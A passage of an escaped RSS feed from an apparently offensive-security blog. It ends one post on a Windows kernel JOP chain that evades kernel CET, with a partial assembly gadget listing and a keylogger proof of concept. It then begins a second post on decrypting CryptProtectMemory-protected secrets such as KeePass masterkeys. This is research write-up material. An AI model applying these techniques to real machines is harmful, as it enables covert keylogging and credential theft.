class=&#34;nb&#34;&gt;rsi&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;mh&#34;&gt;0x3b&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;c1&#34;&gt;; rsi previously set so that *(rsi+0x3b) points to the address of the &amp;#34;call rax&amp;#34; instruction in the jop dispatcher&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;call&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rax&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#x9;&lt;span class=&#34;nf&#34;&gt;call&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rbp&lt;/span&gt; &lt;span class=&#34;c1&#34;&gt;; previously set to the target function&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#x9;&#x9;&lt;span class=&#34;nf&#34;&gt;nop&lt;/span&gt; &lt;span class=&#34;c1&#34;&gt;; (Start of the target function)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#x9;&#x9;&lt;span class=&#34;c1&#34;&gt;; ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#x9;&#x9;&lt;span class=&#34;nf&#34;&gt;ret&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#x9;&lt;span class=&#34;nf&#34;&gt;jmp&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rsi&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;mh&#34;&gt;0x77&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;c1&#34;&gt;; rsi previously set so that *(rsi-0x77) points to the address of the gadget used to save rax&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#x9;&lt;span class=&#34;nf&#34;&gt;mov&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rsi&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;],&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rax&lt;/span&gt; &lt;span class=&#34;c1&#34;&gt;; return value gets saved at *rsi&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#x9;&lt;span class=&#34;c1&#34;&gt;; ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#x9;&lt;span class=&#34;nf&#34;&gt;ret&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;mov&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rax&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rsp&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x20&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;c1&#34;&gt;; start of second gadget, &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;; ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;jmp&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rax&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;pop&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rax&lt;/span&gt; &lt;span class=&#34;c1&#34;&gt;; set rax to the address of &amp;#34;add rsp, 0x50 ; pop rbp ; ret&amp;#34; gadget&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;; ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;jmp&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rsi&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;mh&#34;&gt;0x3b&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;c1&#34;&gt;; rsi previously set so that *(rsi+0x3b) points to the address of the &amp;#34;call rax&amp;#34; instruction in the jop dispatcher&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;call&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rax&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#x9;&lt;span class=&#34;nf&#34;&gt;add&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rsp&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x50&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#x9;&lt;span class=&#34;nf&#34;&gt;pop&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rbp&lt;/span&gt; &lt;span class=&#34;c1&#34;&gt;; set rbp to the address of the 2nd target function, memcpy if we want to reuse the result of the 1st function call&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#x9;&lt;span class=&#34;nf&#34;&gt;ret&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;mov&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rax&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rsp&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x20&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;c1&#34;&gt;; set arguments for the 2nd function call, and rax to the address of the &amp;#34;pop rax&amp;#34; gadget&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;; ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;jmp&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rax&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;pop&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rax&lt;/span&gt; &lt;span class=&#34;c1&#34;&gt;; set rax to address of &amp;#34;call rbp ; jmp [rsi-0x77]&amp;#34; &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;; ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;jmp&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rsi&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;mh&#34;&gt;0x3b&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;c1&#34;&gt;; rsi previously set so that *(rsi+0x3b) points to the address of call rax instruction in the jop dispatcher&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;call&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rax&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#x9;&lt;span class=&#34;nf&#34;&gt;call&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rbp&lt;/span&gt; &lt;span class=&#34;c1&#34;&gt;; previously set to the 2nd target function&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#x9;&#x9;&lt;span class=&#34;nf&#34;&gt;nop&lt;/span&gt; &lt;span class=&#34;c1&#34;&gt;; (Start of the target function)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#x9;&#x9;&lt;span class=&#34;c1&#34;&gt;; ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#x9;&#x9;&lt;span class=&#34;nf&#34;&gt;ret&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#x9;&lt;span class=&#34;nf&#34;&gt;jmp&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rsi&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;mh&#34;&gt;0x77&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;c1&#34;&gt;; rsi previously set so that *(rsi-0x77) points to the address of the gadget used to save rax&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#x9;&lt;span class=&#34;nf&#34;&gt;mov&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rsi&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;],&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rax&lt;/span&gt; &lt;span class=&#34;c1&#34;&gt;; return value gets saved at *rsi&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#x9;&lt;span class=&#34;c1&#34;&gt;; ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#x9;&lt;span class=&#34;nf&#34;&gt;ret&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;mov&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rax&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rsp&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x20&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;c1&#34;&gt;; start of third gadget, &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;; ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&#xA;&lt;/details&gt;&#xA;&#xA;&lt;p&gt;Finally, to avoid running into paging issues, where a part of the JOP chain isn&amp;rsquo;t paged in - which would result in a crash because page faults are not handled - I mapped all the parts of the payload in non-paged pool memory, using named pipes backing buffers.&#xA;With this, we have the ability to reuse kernel code to call arbitrary functions and execute ROP gadgets, and save and reuse return values - without ever breaking the constraints of kCET.&lt;/p&gt;&#xA;&lt;p&gt;With this, we have the &lt;strong&gt;ability to reuse kernel code to call arbitrary functions and execute ROP gadgets, and save and reuse return values&lt;/strong&gt; - without ever breaking the constraints of kCET.&lt;/p&gt;&#xA;&lt;h2 id=&#34;is-kernel-code-execution-really-useful-&#34;&gt;Is kernel code execution really useful ?&lt;/h2&gt;&#xA;&lt;p&gt;Now that we can achieve code execution thanks to code reuse, let&amp;rsquo;s consider when it can be useful, compared to a data-only attack.&lt;/p&gt;&#xA;&lt;p&gt;To me, there are two main reasons where this can useful.&lt;/p&gt;&#xA;&lt;p&gt;The first use case is executing privileged instructions, and in particular, interacting with the hypervisor and VTL1. With data-only attack, this might be done using race conditions, were the backing data of a message is replaced before being sent, but it seems harder to implement and unreliable.&lt;/p&gt;&#xA;&lt;p&gt;The second use case is when dealing with complex data structures. For instance, in my proof of concept below, I would have to create and edit page table entries - it is much more convenient to call the corresponding API and have it do the work for you.&lt;/p&gt;&#xA;&lt;p&gt;Finally, while this technique can get arbitrary kernel code execution, it cannot be started by a callback if none of the arguments are controlled. This makes it unsuitable for intercepting process creation notifications, for example.&lt;/p&gt;&#xA;&lt;h2 id=&#34;proof-of-concept&#34;&gt;Proof of concept&lt;/h2&gt;&#xA;&lt;p&gt;To demonstrate the technique, using the &amp;ldquo;admin-to-kernel&amp;rdquo; arbitrary call primitive offered by the &lt;a href=&#34;https://github.com/scrt/KexecDDPlus&#34;&gt;KexecDDPlus&lt;/a&gt; tool, I chose to build a payload that maps the keyboard state in userland to create a keylogger, as described in the  &lt;a href=&#34;https://i.blackhat.com/BH-US-23/Presentations/US-23-Palmiotti-Boonen-Close-Encounters.pdf&#34;&gt;Close Encounters of the Advanced Persistent Kind&lt;/a&gt; presentation, with an &lt;a href=&#34;https://eversinc33.com/posts/kernel-mode-keylogging.html&#34;&gt;example implementation&lt;/a&gt; on Windows 10.&#xA;This would be tedious to implement using a data-only attack.&lt;/p&gt;&#xA;&lt;p&gt;I happen to have a kCET compatible CPU, so using Hyper-V, I setup a Windows 11 test environment, with kCET enabled:&lt;/p&gt;&#xA;&lt;div class=&#34;figure&#34;&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://blog.slowerzs.net/images/Jumper/kcet_on.png&#34; alt=&#34;Windows 11 setting to enabled kCET&#34;&gt;&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;p&gt;To start off the execution of the JOP chain, I used &lt;code&gt;longjmp&lt;/code&gt; to get around kCFG, since the primitive offered by this ioctl gives full control over &lt;code&gt;rcx&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Then, the execution of the JOP chain kicks off, the payload successively calls &lt;code&gt;win32ksgd!SGDGetUserSessionState&lt;/code&gt;, adds a constant value to the result using a ROP gadget, to locate the map containing the state of the keyboard. Afterwards, a &lt;code&gt;MDL&lt;/code&gt; describing the map is constructed using &lt;code&gt;IoAllocateMdl&lt;/code&gt;, locked using &lt;code&gt;MmProbeAndLockPages&lt;/code&gt;, and finally mapped to userland using &lt;code&gt;MmMapLockedPagesSpecifyCache&lt;/code&gt;.&#xA;Finally, the map is polled in userland to have a working keylogger.&lt;/p&gt;&#xA;&lt;div class=&#34;figure&#34;&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://blog.slowerzs.net/images/Jumper/key_log_win11.png&#34; alt=&#34;Demonstration of the keylogger on Windows 11&#34;&gt;&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;p&gt;My implementation is available on &lt;a href=&#34;https://github.com/Slowerzs/KeyJumper&#34;&gt;Github&lt;/a&gt;. While the offsets were created for Windows &lt;code&gt;22H2&lt;/code&gt;, build version &lt;code&gt;22261.4890&lt;/code&gt;, the most important gadgets, such as the dispatcher still exist on &lt;code&gt;24H2&lt;/code&gt;, and the others, while not all directly present, all have similar gadgets that could replace them.&lt;/p&gt;&#xA;&lt;p&gt;With all this, I think its clear that kernel code execution is not dead :)&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Decrypting CryptProtectMemory without code injection</title>
      <link>https://blog.slowerzs.net/posts/cryptdecryptmemory/</link>
      <pubDate>Mon, 11 Nov 2024 12:10:31 +0100</pubDate>
      <guid>https://blog.slowerzs.net/posts/cryptdecryptmemory/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;https://learn.microsoft.com/en-us/windows/win32/api/dpapi/nf-dpapi-cryptprotectmemory&#34;&gt;&lt;code&gt;CryptProtectMemory&lt;/code&gt;&lt;/a&gt; is a function used to encrypt sensitive memory in an application, without providing any key.&#xA;In particular, this function has a flag, &lt;code&gt;CRYPTPROTECTMEMORY_SAME_PROCESS&lt;/code&gt;, which should ensure that the encrypted memory can only be decrypted from within the process where it was encrypted.&lt;/p&gt;&#xA;&lt;p&gt;I&amp;rsquo;ve come across this function in multiple contexts, being used both as security mechanism (for instance it is used by &lt;a href=&#34;https://keepass.info/help/base/security.html&#34;&gt;KeePass or the default RDP client to protect masterkeys in memory&lt;/a&gt;), as well as by offensive applications to &lt;a href=&#34;https://github.com/Cracked5pider/CodeCave/blob/main/EkkoSys040/EkkoSys040.c&#34;&gt;hide payloads in memory&lt;/a&gt;.&#xA;For example, this means tools that try to decrypt the masterkey of KeePass, must inject code into the KeePass process.&lt;/p&gt;&#xA;&lt;p&gt;All this got me wondering how the encryption worked, and if it was possible to decrypt encrypted blobs without injecting code into the victim process. Let&amp;rsquo;s dive into the implementation !&lt;/p&gt;&#xA;&lt;h2 id=&#34;finding-the-actual-implementation&#34;&gt;Finding the actual implementation&lt;/h2&gt;&#xA;&lt;p&gt;&lt;code&gt;CryptProtectMemory&lt;/code&gt; is exported by&lt;code&gt;dpapi.dll&lt;/code&gt;, with the following prototype:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-C&#34; data-lang=&#34;C&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;DPAPI_IMP&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;BOOL&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;CryptProtectMemory&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;in&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;out&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;LPVOID&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;pDataIn&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;in&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;      &lt;span class=&#34;n&#34;&gt;DWORD&lt;/span&gt;  &lt;span class=&#34;n&#34;&gt;cbDataIn&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;in&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;      &lt;span class=&#34;n&#34;&gt;DWORD&lt;/span&gt;  &lt;span class=&#34;n&#34;&gt;dwFlags&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Decompiling the function, it is just a thin wrapper around &lt;code&gt;cryptbase!SystemFunction040&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-C&#34; data-lang=&#34;C&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;BOOL&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;CryptProtectMemory&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;LPVOID&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;pDataIn&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;dword&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;cbDataIn&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;dword&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;dwFlags&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;n&#34;&gt;NTSTATUS&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;status&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;n&#34;&gt;ULONG&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ErrorCode&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;n&#34;&gt;status&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;SystemFunction040&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;pDataIn&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;cbDataIn&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;dwFlags&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;status&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;ErrorCode&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;RtlNtStatusToDosError&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;status&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nf&#34;&gt;SetLastError&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ErrorCode&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;status&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Let&amp;rsquo;s see what &lt;code&gt;SystemFunction040&lt;/code&gt; does:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-C&#34; data-lang=&#34;C&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;ULONG&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;SystemFunction040&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;LPVOID&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;pDataIn&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;dword&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;cbDataIn&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;dword&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;dwFlags&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span 